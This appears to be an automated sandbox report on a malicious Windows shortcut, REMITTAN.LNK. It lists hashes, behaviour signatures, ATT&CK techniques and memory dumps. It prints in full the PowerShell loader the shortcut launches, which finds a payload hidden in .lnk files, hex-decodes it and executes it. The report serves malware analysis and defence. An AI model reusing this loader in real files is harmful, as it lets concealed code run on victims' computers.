f5348c868d3081337ed697e0d2016b39d328fd982af4e1923d1aea45762629e1

Analysis

max time kernel
679s
max time network
681s
platform
windows7_x64
resource
win7v20210410
submitted
27-07-2021 17:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

REMITTAN.LNK
Size

4.3MB
MD5

cc2a7754840911050d768c6be92005a6
SHA1

6eb79a31cc322a1a6c4b18bb1c9844108b57313c
SHA256

ac8ec0eddd80b41d238c54f1262caefd6e80312826157564e933ff35be63c6cd
SHA512

02f3ee8eaad9adaa3baafd39f94f4115fec3d0f97b67a4f8fbf6b342db95681a07eefd2192201d5b8e1d888818b3615d7ff10d77b1f509056091b007f6e541db

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1464 powershell.exe
1464 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1464 powershell.exe

pid	process
1464	powershell.exe
1464	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1464	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2004 wrote to memory of 1464	2004	cmd.exe	powershell.exe
PID 2004 wrote to memory of 1464	2004	cmd.exe	powershell.exe
PID 2004 wrote to memory of 1464	2004	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\REMITTAN.LNK
1⤵
- Suspicious use of WriteProcessMemory
PID:2004

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function dS($A) {$kD = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$Hu = [String](Get-Content $_.FullName);$Bz = 'QCASPHONCWMSJSYHBDCYJKMQSIABRBQF';$b = $Hu.IndexOf($Bz);if($b -ne -1) {$Ko = $Hu.SubString($b);$kD = $Ko.Replace($Bz,'')}};return $kD};function sH($Gt) {$Bg = [Text.StringBuilder]::New();for($aI=0;$aI -lt $Gt.Length;$aI+=2){[void]$Bg.Append([char][int]('0x'+$Gt.Substring($aI,2)))}return $Bg.ToString()}$kD = dS $(Get-Location).Path;if($kD -eq $Null) {$kD = dS $($env:TEMP)};$e = [ScriptBlock]::Create((sH $kD));$e.Invoke();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1464-60-0x0000000000000000-mapping.dmp

Download
memory/1464-62-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/1464-63-0x000000001AA60000-0x000000001AA61000-memory.dmp

Filesize
4KB

Download
memory/1464-64-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/1464-66-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

Filesize
8KB

Download
memory/1464-65-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

Filesize
8KB

Download
memory/1464-67-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1464-68-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

Filesize
4KB

Download
memory/2004-59-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

Filesize
8KB

Download